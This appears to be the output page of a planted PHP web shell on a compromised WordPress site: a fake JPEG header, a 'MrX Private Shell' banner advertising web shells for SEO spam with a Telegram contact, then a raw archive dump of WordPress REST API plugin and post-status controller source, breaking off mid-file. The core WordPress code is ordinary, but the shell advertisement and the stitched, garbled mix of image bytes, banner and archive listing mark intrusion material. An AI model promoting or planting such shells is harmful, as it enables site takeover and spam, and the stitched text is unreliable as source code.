����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
endpoints/class-wp-rest-plugins-controller.php 0000666 00000067561 15221117310 0015640 0 ustar 00 <?php
/**
* REST API: WP_REST_Plugins_Controller class
*
* @package WordPress
* @subpackage REST_API
* @since 5.5.0
*/
/**
* Core class to access plugins via the REST API.
*
* @since 5.5.0
*
* @see WP_REST_Controller
*/
class WP_REST_Plugins_Controller extends WP_REST_Controller {
const PATTERN = '[^.\/]+(?:\/[^.\/]+)?';
/**
* Plugins controller constructor.
*
* @since 5.5.0
*/
public function __construct() {
$this->namespace = 'wp/v2';
$this->rest_base = 'plugins';
}
/**
* Registers the routes for the plugins controller.
*
* @since 5.5.0
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => array( $this, 'create_item' ),
'permission_callback' => array( $this, 'create_item_permissions_check' ),
'args' => array(
'slug' => array(
'type' => 'string',
'required' => true,
'description' => __( 'WordPress.org plugin directory slug.' ),
'pattern' => '[\w\-]+',
),
'status' => array(
'description' => __( 'The plugin activation status.' ),
'type' => 'string',
'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
'default' => 'inactive',
),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P<plugin>' . self::PATTERN . ')',
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
),
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'update_item' ),
'permission_callback' => array( $this, 'update_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
),
array(
'methods' => WP_REST_Server::DELETABLE,
'callback' => array( $this, 'delete_item' ),
'permission_callback' => array( $this, 'delete_item_permissions_check' ),
),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
'plugin' => array(
'type' => 'string',
'pattern' => self::PATTERN,
'validate_callback' => array( $this, 'validate_plugin_param' ),
'sanitize_callback' => array( $this, 'sanitize_plugin_param' ),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Checks if a given request has access to get plugins.
*
* @since 5.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
public function get_items_permissions_check( $request ) {
if ( ! current_user_can( 'activate_plugins' ) ) {
return new WP_Error(
'rest_cannot_view_plugins',
__( 'Sorry, you are not allowed to manage plugins for this site.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Retrieves a collection of plugins.
*
* @since 5.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_items( $request ) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
$plugins = array();
foreach ( get_plugins() as $file => $data ) {
if ( is_wp_error( $this->check_read_permission( $file ) ) ) {
continue;
}
$data['_file'] = $file;
if ( ! $this->does_plugin_match_request( $request, $data ) ) {
continue;
}
$plugins[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $data, $request ) );
}
return new WP_REST_Response( $plugins );
}
/**
* Checks if a given request has access to get a specific plugin.
*
* @since 5.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
*/
public function get_item_permissions_check( $request ) {
if ( ! current_user_can( 'activate_plugins' ) ) {
return new WP_Error(
'rest_cannot_view_plugin',
__( 'Sorry, you are not allowed to manage plugins for this site.' ),
array( 'status' => rest_authorization_required_code() )
);
}
$can_read = $this->check_read_permission( $request['plugin'] );
if ( is_wp_error( $can_read ) ) {
return $can_read;
}
return true;
}
/**
* Retrieves one plugin from the site.
*
* @since 5.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
$data = $this->get_plugin_data( $request['plugin'] );
if ( is_wp_error( $data ) ) {
return $data;
}
return $this->prepare_item_for_response( $data, $request );
}
/**
* Checks if the given plugin can be viewed by the current user.
*
* On multisite, this hides non-active network only plugins if the user does not have permission
* to manage network plugins.
*
* @since 5.5.0
*
* @param string $plugin The plugin file to check.
* @return true|WP_Error True if can read, a WP_Error instance otherwise.
*/
protected function check_read_permission( $plugin ) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
if ( ! $this->is_plugin_installed( $plugin ) ) {
return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) );
}
if ( ! is_multisite() ) {
return true;
}
if ( ! is_network_only_plugin( $plugin ) || is_plugin_active( $plugin ) || current_user_can( 'manage_network_plugins' ) ) {
return true;
}
return new WP_Error(
'rest_cannot_view_plugin',
__( 'Sorry, you are not allowed to manage this plugin.' ),
array( 'status' => rest_authorization_required_code() )
);
}
/**
* Checks if a given request has access to upload plugins.
*
* @since 5.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
*/
public function create_item_permissions_check( $request ) {
if ( ! current_user_can( 'install_plugins' ) ) {
return new WP_Error(
'rest_cannot_install_plugin',
__( 'Sorry, you are not allowed to install plugins on this site.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( 'inactive' !== $request['status'] && ! current_user_can( 'activate_plugins' ) ) {
return new WP_Error(
'rest_cannot_activate_plugin',
__( 'Sorry, you are not allowed to activate plugins.' ),
array(
'status' => rest_authorization_required_code(),
)
);
}
return true;
}
/**
* Uploads a plugin and optionally activates it.
*
* @since 5.5.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function create_item( $request ) {
global $wp_filesystem;
require_once ABSPATH . 'wp-admin/includes/file.php';
require_once ABSPATH . 'wp-admin/includes/plugin.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
$slug = $request['slug'];
// Verify filesystem is accessible first.
$filesystem_available = $this->is_filesystem_available();
if ( is_wp_error( $filesystem_available ) ) {
return $filesystem_available;
}
$api = plugins_api(
'plugin_information',
array(
'slug' => $slug,
'fields' => array(
'sections' => false,
'language_packs' => true,
),
)
);
if ( is_wp_error( $api ) ) {
if ( str_contains( $api->get_error_message(), 'Plugin not found.' ) ) {
$api->add_data( array( 'status' => 404 ) );
} else {
$api->add_data( array( 'status' => 500 ) );
}
return $api;
}
$skin = new WP_Ajax_Upgrader_Skin();
$upgrader = new Plugin_Upgrader( $skin );
$result = $upgrader->install( $api->download_link );
if ( is_wp_error( $result ) ) {
$result->add_data( array( 'status' => 500 ) );
return $result;
}
// This should be the same as $result above.
if ( is_wp_error( $skin->result ) ) {
$skin->result->add_data( array( 'status' => 500 ) );
return $skin->result;
}
if ( $skin->get_errors()->has_errors() ) {
$error = $skin->get_errors();
$error->add_data( array( 'status' => 500 ) );
return $error;
}
if ( is_null( $result ) ) {
// Pass through the error from WP_Filesystem if one was raised.
if ( $wp_filesystem instanceof WP_Filesystem_Base
&& is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors()
) {
return new WP_Error(
'unable_to_connect_to_filesystem',
$wp_filesystem->errors->get_error_message(),
array( 'status' => 500 )
);
}
return new WP_Error(
'unable_to_connect_to_filesystem',
__( 'Unable to connect to the filesystem. Please confirm your credentials.' ),
array( 'status' => 500 )
);
}
$file = $upgrader->plugin_info();
if ( ! $file ) {
return new WP_Error(
'unable_to_determine_installed_plugin',
__( 'Unable to determine what plugin was installed.' ),
array( 'status' => 500 )
);
}
if ( 'inactive' !== $request['status'] ) {
$can_change_status = $this->plugin_status_permission_check( $file, $request['status'], 'inactive' );
if ( is_wp_error( $can_change_status ) ) {
return $can_change_status;
}
$changed_status = $this->handle_plugin_status( $file, $request['status'], 'inactive' );
if ( is_wp_error( $changed_status ) ) {
return $changed_status;
}
}
// Install translations.
$installed_locales = array_values( get_available_languages() );
/** This filter is documented in wp-includes/update.php */
$installed_locales = apply_filters( 'plugins_update_check_locales', $installed_locales );
$language_packs = array_map(
static function ( $item ) {
return (object) $item;
},
$api->language_packs
);
$language_packs = array_filter(
$language_packs,
static function ( $pack ) use ( $installed_locales ) {
return in_array( $pack->language, $installed_locales, true );
}
);
if ( $language_packs ) {
$lp_upgrader = new Language_Pack_Upgrader( $skin );
// Install all applicable language packs for the plugin.
$lp_upgrader->bulk_upgrade( $language_packs );
}
$path = WP_PLUGIN_DIR . '/' . $file;
$data = get_plugin_data( $path, false, false );
$data['_file'] = $file;
$response = $this->prepare_item_for_response( $data, $request );
$response->set_status( 201 );
$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, substr( $file, 0, - 4 ) ) ) );
return $response;
}
/**
* Checks if a given request has access to update a specific plugin.
*
* @since 5.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
*/
public function update_item_permissions_check( $request ) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
if ( ! current_user_can( 'activate_plugins' ) ) {
return new WP_Error(
'rest_cannot_manage_plugins',
__( 'Sorry, you are not allowed to manage plugins for this site.' ),
array( 'status' => rest_authorization_required_code() )
);
}
$can_read = $this->check_read_permission( $request['plugin'] );
if ( is_wp_error( $can_read ) ) {
return $can_read;
}
$status = $this->get_plugin_status( $request['plugin'] );
if ( $request['status'] && $status !== $request['status'] ) {
$can_change_status = $this->plugin_status_permission_check( $request['plugin'], $request['status'], $status );
if ( is_wp_error( $can_change_status ) ) {
return $can_change_status;
}
}
return true;
}
/**
* Updates one plugin.
*
* @since 5.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function update_item( $request ) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
$data = $this->get_plugin_data( $request['plugin'] );
if ( is_wp_error( $data ) ) {
return $data;
}
$status = $this->get_plugin_status( $request['plugin'] );
if ( $request['status'] && $status !== $request['status'] ) {
$handled = $this->handle_plugin_status( $request['plugin'], $request['status'], $status );
if ( is_wp_error( $handled ) ) {
return $handled;
}
}
$this->update_additional_fields_for_object( $data, $request );
$request['context'] = 'edit';
return $this->prepare_item_for_response( $data, $request );
}
/**
* Checks if a given request has access to delete a specific plugin.
*
* @since 5.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
*/
public function delete_item_permissions_check( $request ) {
if ( ! current_user_can( 'activate_plugins' ) ) {
return new WP_Error(
'rest_cannot_manage_plugins',
__( 'Sorry, you are not allowed to manage plugins for this site.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( ! current_user_can( 'delete_plugins' ) ) {
return new WP_Error(
'rest_cannot_manage_plugins',
__( 'Sorry, you are not allowed to delete plugins for this site.' ),
array( 'status' => rest_authorization_required_code() )
);
}
$can_read = $this->check_read_permission( $request['plugin'] );
if ( is_wp_error( $can_read ) ) {
return $can_read;
}
return true;
}
/**
* Deletes one plugin from the site.
*
* @since 5.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function delete_item( $request ) {
require_once ABSPATH . 'wp-admin/includes/file.php';
require_once ABSPATH . 'wp-admin/includes/plugin.php';
$data = $this->get_plugin_data( $request['plugin'] );
if ( is_wp_error( $data ) ) {
return $data;
}
if ( is_plugin_active( $request['plugin'] ) ) {
return new WP_Error(
'rest_cannot_delete_active_plugin',
__( 'Cannot delete an active plugin. Please deactivate it first.' ),
array( 'status' => 400 )
);
}
$filesystem_available = $this->is_filesystem_available();
if ( is_wp_error( $filesystem_available ) ) {
return $filesystem_available;
}
$prepared = $this->prepare_item_for_response( $data, $request );
$deleted = delete_plugins( array( $request['plugin'] ) );
if ( is_wp_error( $deleted ) ) {
$deleted->add_data( array( 'status' => 500 ) );
return $deleted;
}
return new WP_REST_Response(
array(
'deleted' => true,
'previous' => $prepared->get_data(),
)
);
}
/**
* Prepares the plugin for the REST response.
*
* @since 5.5.0
*
* @param array $item Unmarked up and untranslated plugin data from {@see get_plugin_data()}.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function prepare_item_for_response( $item, $request ) {
$fields = $this->get_fields_for_response( $request );
$item = _get_plugin_data_markup_translate( $item['_file'], $item, false );
$marked = _get_plugin_data_markup_translate( $item['_file'], $item, true );
$data = array(
'plugin' => substr( $item['_file'], 0, - 4 ),
'status' => $this->get_plugin_status( $item['_file'] ),
'name' => $item['Name'],
'plugin_uri' => $item['PluginURI'],
'author' => $item['Author'],
'author_uri' => $item['AuthorURI'],
'description' => array(
'raw' => $item['Description'],
'rendered' => $marked['Description'],
),
'version' => $item['Version'],
'network_only' => $item['Network'],
'requires_wp' => $item['RequiresWP'],
'requires_php' => $item['RequiresPHP'],
'textdomain' => $item['TextDomain'],
);
$data = $this->add_additional_fields_to_object( $data, $request );
$response = new WP_REST_Response( $data );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$response->add_links( $this->prepare_links( $item ) );
}
/**
* Filters plugin data for a REST API response.
*
* @since 5.5.0
*
* @param WP_REST_Response $response The response object.
* @param array $item The plugin item from {@see get_plugin_data()}.
* @param WP_REST_Request $request The request object.
*/
return apply_filters( 'rest_prepare_plugin', $response, $item, $request );
}
/**
* Prepares links for the request.
*
* @since 5.5.0
*
* @param array $item The plugin item.
* @return array[]
*/
protected function prepare_links( $item ) {
return array(
'self' => array(
'href' => rest_url(
sprintf(
'%s/%s/%s',
$this->namespace,
$this->rest_base,
substr( $item['_file'], 0, - 4 )
)
),
),
);
}
/**
* Gets the plugin header data for a plugin.
*
* @since 5.5.0
*
* @param string $plugin The plugin file to get data for.
* @return array|WP_Error The plugin data, or a WP_Error if the plugin is not installed.
*/
protected function get_plugin_data( $plugin ) {
$plugins = get_plugins();
if ( ! isset( $plugins[ $plugin ] ) ) {
return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) );
}
$data = $plugins[ $plugin ];
$data['_file'] = $plugin;
return $data;
}
/**
* Get's the activation status for a plugin.
*
* @since 5.5.0
*
* @param string $plugin The plugin file to check.
* @return string Either 'network-active', 'active' or 'inactive'.
*/
protected function get_plugin_status( $plugin ) {
if ( is_plugin_active_for_network( $plugin ) ) {
return 'network-active';
}
if ( is_plugin_active( $plugin ) ) {
return 'active';
}
return 'inactive';
}
/**
* Handle updating a plugin's status.
*
* @since 5.5.0
*
* @param string $plugin The plugin file to update.
* @param string $new_status The plugin's new status.
* @param string $current_status The plugin's current status.
* @return true|WP_Error
*/
protected function plugin_status_permission_check( $plugin, $new_status, $current_status ) {
if ( is_multisite() && ( 'network-active' === $current_status || 'network-active' === $new_status ) && ! current_user_can( 'manage_network_plugins' ) ) {
return new WP_Error(
'rest_cannot_manage_network_plugins',
__( 'Sorry, you are not allowed to manage network plugins.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( ( 'active' === $new_status || 'network-active' === $new_status ) && ! current_user_can( 'activate_plugin', $plugin ) ) {
return new WP_Error(
'rest_cannot_activate_plugin',
__( 'Sorry, you are not allowed to activate this plugin.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( 'inactive' === $new_status && ! current_user_can( 'deactivate_plugin', $plugin ) ) {
return new WP_Error(
'rest_cannot_deactivate_plugin',
__( 'Sorry, you are not allowed to deactivate this plugin.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Handle updating a plugin's status.
*
* @since 5.5.0
*
* @param string $plugin The plugin file to update.
* @param string $new_status The plugin's new status.
* @param string $current_status The plugin's current status.
* @return true|WP_Error
*/
protected function handle_plugin_status( $plugin, $new_status, $current_status ) {
if ( 'inactive' === $new_status ) {
deactivate_plugins( $plugin, false, 'network-active' === $current_status );
return true;
}
if ( 'active' === $new_status && 'network-active' === $current_status ) {
return true;
}
$network_activate = 'network-active' === $new_status;
if ( is_multisite() && ! $network_activate && is_network_only_plugin( $plugin ) ) {
return new WP_Error(
'rest_network_only_plugin',
__( 'Network only plugin must be network activated.' ),
array( 'status' => 400 )
);
}
$activated = activate_plugin( $plugin, '', $network_activate );
if ( is_wp_error( $activated ) ) {
$activated->add_data( array( 'status' => 500 ) );
return $activated;
}
return true;
}
/**
* Checks that the "plugin" parameter is a valid path.
*
* @since 5.5.0
*
* @param string $file The plugin file parameter.
* @return bool
*/
public function validate_plugin_param( $file ) {
if ( ! is_string( $file ) || ! preg_match( '/' . self::PATTERN . '/u', $file ) ) {
return false;
}
$validated = validate_file( plugin_basename( $file ) );
return 0 === $validated;
}
/**
* Sanitizes the "plugin" parameter to be a proper plugin file with ".php" appended.
*
* @since 5.5.0
*
* @param string $file The plugin file parameter.
* @return string
*/
public function sanitize_plugin_param( $file ) {
return plugin_basename( sanitize_text_field( $file . '.php' ) );
}
/**
* Checks if the plugin matches the requested parameters.
*
* @since 5.5.0
*
* @param WP_REST_Request $request The request to require the plugin matches against.
* @param array $item The plugin item.
* @return bool
*/
protected function does_plugin_match_request( $request, $item ) {
$search = $request['search'];
if ( $search ) {
$matched_search = false;
foreach ( $item as $field ) {
if ( is_string( $field ) && str_contains( strip_tags( $field ), $search ) ) {
$matched_search = true;
break;
}
}
if ( ! $matched_search ) {
return false;
}
}
$status = $request['status'];
if ( $status && ! in_array( $this->get_plugin_status( $item['_file'] ), $status, true ) ) {
return false;
}
return true;
}
/**
* Checks if the plugin is installed.
*
* @since 5.5.0
*
* @param string $plugin The plugin file.
* @return bool
*/
protected function is_plugin_installed( $plugin ) {
return file_exists( WP_PLUGIN_DIR . '/' . $plugin );
}
/**
* Determine if the endpoints are available.
*
* Only the 'Direct' filesystem transport, and SSH/FTP when credentials are stored are supported at present.
*
* @since 5.5.0
*
* @return true|WP_Error True if filesystem is available, WP_Error otherwise.
*/
protected function is_filesystem_available() {
$filesystem_method = get_filesystem_method();
if ( 'direct' === $filesystem_method ) {
return true;
}
ob_start();
$filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() );
ob_end_clean();
if ( $filesystem_credentials_are_stored ) {
return true;
}
return new WP_Error( 'fs_unavailable', __( 'The filesystem is currently unavailable for managing plugins.' ), array( 'status' => 500 ) );
}
/**
* Retrieves the plugin's schema, conforming to JSON Schema.
*
* @since 5.5.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$this->schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'plugin',
'type' => 'object',
'properties' => array(
'plugin' => array(
'description' => __( 'The plugin file.' ),
'type' => 'string',
'pattern' => self::PATTERN,
'readonly' => true,
'context' => array( 'view', 'edit', 'embed' ),
),
'status' => array(
'description' => __( 'The plugin activation status.' ),
'type' => 'string',
'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
'context' => array( 'view', 'edit', 'embed' ),
),
'name' => array(
'description' => __( 'The plugin name.' ),
'type' => 'string',
'readonly' => true,
'context' => array( 'view', 'edit', 'embed' ),
),
'plugin_uri' => array(
'description' => __( 'The plugin\'s website address.' ),
'type' => 'string',
'format' => 'uri',
'readonly' => true,
'context' => array( 'view', 'edit' ),
),
'author' => array(
'description' => __( 'The plugin author.' ),
'type' => 'string',
'readonly' => true,
'context' => array( 'view', 'edit' ),
),
'author_uri' => array(
'description' => __( 'Plugin author\'s website address.' ),
'type' => 'string',
'format' => 'uri',
'readonly' => true,
'context' => array( 'view', 'edit' ),
),
'description' => array(
'description' => __( 'The plugin description.' ),
'type' => 'object',
'readonly' => true,
'context' => array( 'view', 'edit' ),
'properties' => array(
'raw' => array(
'description' => __( 'The raw plugin description.' ),
'type' => 'string',
),
'rendered' => array(
'description' => __( 'The plugin description formatted for display.' ),
'type' => 'string',
),
),
),
'version' => array(
'description' => __( 'The plugin version number.' ),
'type' => 'string',
'readonly' => true,
'context' => array( 'view', 'edit' ),
),
'network_only' => array(
'description' => __( 'Whether the plugin can only be activated network-wide.' ),
'type' => 'boolean',
'readonly' => true,
'context' => array( 'view', 'edit', 'embed' ),
),
'requires_wp' => array(
'description' => __( 'Minimum required version of WordPress.' ),
'type' => 'string',
'readonly' => true,
'context' => array( 'view', 'edit', 'embed' ),
),
'requires_php' => array(
'description' => __( 'Minimum required version of PHP.' ),
'type' => 'string',
'readonly' => true,
'context' => array( 'view', 'edit', 'embed' ),
),
'textdomain' => array(
'description' => __( 'The plugin\'s text domain.' ),
'type' => 'string',
'readonly' => true,
'context' => array( 'view', 'edit' ),
),
),
);
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Retrieves the query params for the collections.
*
* @since 5.5.0
*
* @return array Query parameters for the collection.
*/
public function get_collection_params() {
$query_params = parent::get_collection_params();
$query_params['context']['default'] = 'view';
$query_params['status'] = array(
'description' => __( 'Limits results to plugins with the given status.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
),
);
unset( $query_params['page'], $query_params['per_page'] );
return $query_params;
}
}
endpoints/class-wp-rest-post-statuses-controller.php 0000666 00000024105 15221117310 0017000 0 ustar 00 <?php
/**
* REST API: WP_REST_Post_Statuses_Controller class
*
* @package WordPress
* @subpackage REST_API
* @since 4.7.0
*/
/**
* Core class used to access post statuses via the REST API.
*
* @since 4.7.0
*
* @see WP_REST_Controller
*/
class WP_REST_Post_Statuses_Controller extends WP_REST_Controller {
/**
* Constructor.
*
* @since 4.7.0
*/
public function __construct() {
$this->namespace = 'wp/v2';
$this->rest_base = 'statuses';
}
/**
* Registers the routes for post statuses.
*
* @since 4.7.0
*
* @see register_rest_route()
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P<status>[\w-]+)',
array(
'args' => array(
'status' => array(
'description' => __( 'An alphanumeric identifier for the status.' ),
'type' => 'string',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Checks whether a given request has permission to read post statuses.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
public function get_items_permissions_check( $request ) {
if ( 'edit' === $request['context'] ) {
$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );
foreach ( $types as $type ) {
if ( current_user_can( $type->cap->edit_posts ) ) {
return true;
}
}
return new WP_Error(
'rest_cannot_view',
__( 'Sorry, you are not allowed to manage post statuses.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Retrieves all post statuses, depending on user context.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_items( $request ) {
$data = array();
$statuses = get_post_stati( array( 'internal' => false ), 'object' );
$statuses['trash'] = get_post_status_object( 'trash' );
foreach ( $statuses as $obj ) {
$ret = $this->check_read_permission( $obj );
if ( ! $ret ) {
continue;
}
$status = $this->prepare_item_for_response( $obj, $request );
$data[ $obj->name ] = $this->prepare_response_for_collection( $status );
}
return rest_ensure_response( $data );
}
/**
* Checks if a given request has access to read a post status.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
*/
public function get_item_permissions_check( $request ) {
$status = get_post_status_object( $request['status'] );
if ( empty( $status ) ) {
return new WP_Error(
'rest_status_invalid',
__( 'Invalid status.' ),
array( 'status' => 404 )
);
}
$check = $this->check_read_permission( $status );
if ( ! $check ) {
return new WP_Error(
'rest_cannot_read_status',
__( 'Cannot view status.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Checks whether a given post status should be visible.
*
* @since 4.7.0
*
* @param object $status Post status.
* @return bool True if the post status is visible, otherwise false.
*/
protected function check_read_permission( $status ) {
if ( true === $status->public ) {
return true;
}
if ( false === $status->internal || 'trash' === $status->name ) {
$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );
foreach ( $types as $type ) {
if ( current_user_can( $type->cap->edit_posts ) ) {
return true;
}
}
}
return false;
}
/**
* Retrieves a specific post status.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$obj = get_post_status_object( $request['status'] );
if ( empty( $obj ) ) {
return new WP_Error(
'rest_status_invalid',
__( 'Invalid status.' ),
array( 'status' => 404 )
);
}
$data = $this->prepare_item_for_response( $obj, $request );
return rest_ensure_response( $data );
}
/**
* Prepares a post status object for serialization.
*
* @since 4.7.0
* @since 5.9.0 Renamed `$status` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param stdClass $item Post status data.
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response Post status data.
*/
public function prepare_item_for_response( $item, $request ) {
// Restores the more descriptive, specific name for use within this method.
$status = $item;
$fields = $this->get_fields_for_response( $request );
$data = array();
if ( in_array( 'name', $fields, true ) ) {
$data['name'] = $status->label;
}
if ( in_array( 'private', $fields, true ) ) {
$data['private'] = (bool) $status->private;
}
if ( in_array( 'protected', $fields, true ) ) {
$data['protected'] = (bool) $status->protected;
}
if ( in_array( 'public', $fields, true ) ) {
$data['public'] = (bool) $status->public;
}
if ( in_array( 'queryable', $fields, true ) ) {
$data['queryable'] = (bool) $status->publicly_queryable;
}
if ( in_array( 'show_in_list', $fields, true ) ) {
$data['show_in_list'] = (bool) $status->show_in_admin_all_list;
}
if ( in_array( 'slug', $fields, true ) ) {
$data['slug'] = $status->name;
}
if ( in_array( 'date_floating', $fields, true ) ) {
$data['date_floating'] = $status->date_floating;
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
$response = rest_ensure_response( $data );
$rest_url = rest_url( rest_get_route_for_post_type_items( 'post' ) );
if ( 'publish' === $status->name ) {
$response->add_link( 'archives', $rest_url );
} else {
$response->add_link( 'archives', add_query_arg( 'status', $status->name, $rest_url ) );
}
/**
* Filters a post status returned from the REST API.
*
* Allows modification of the status data right before it is returned.
*
* @since 4.7.0
*
* @param WP_REST_Response $response The response object.
* @param object $status The original post status object.
* @param WP_REST_Request $request Request used to generate the response.
*/
return apply_filters( 'rest_prepare_status', $response, $status, $request );
}
/**
* Retrieves the post status' schema, conforming to JSON Schema.
*
* @since 4.7.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'status',
'type' => 'object',
'properties' => array(
'name' => array(
'description' => __( 'The title for the status.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'private' => array(
'description' => __( 'Whether posts with this status should be private.' ),
'type' => 'boolean',
'context' => array( 'edit' ),
'readonly' => true,
),
'protected' => array(
'description' => __( 'Whether posts with this status should be protected.' ),
'type' => 'boolean',
'context' => array( 'edit' ),
'readonly' => true,
),
'public' => array(
'description' => __( 'Whether posts of this status should be shown in the front end of the site.' ),
'type' => 'boolean',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'queryable' => array(
'description' => __( 'Whether posts with this status should be publicly-queryable.' ),
'type' => 'boolean',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'show_in_list' => array(
'description' => __( 'Whether to include posts in the edit listing for their post type.' ),
'type' => 'boolean',
'context' => array( 'edit' ),
'readonly' => true,
),
'slug' => array(
'description' => __( 'An alphanumeric identifier for the status.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'date_floating' => array(
'description' => __( 'Whether posts of this status may have floating published dates.' ),
'type' => 'boolean',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
),
);
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Retrieves the query params for collections.
*
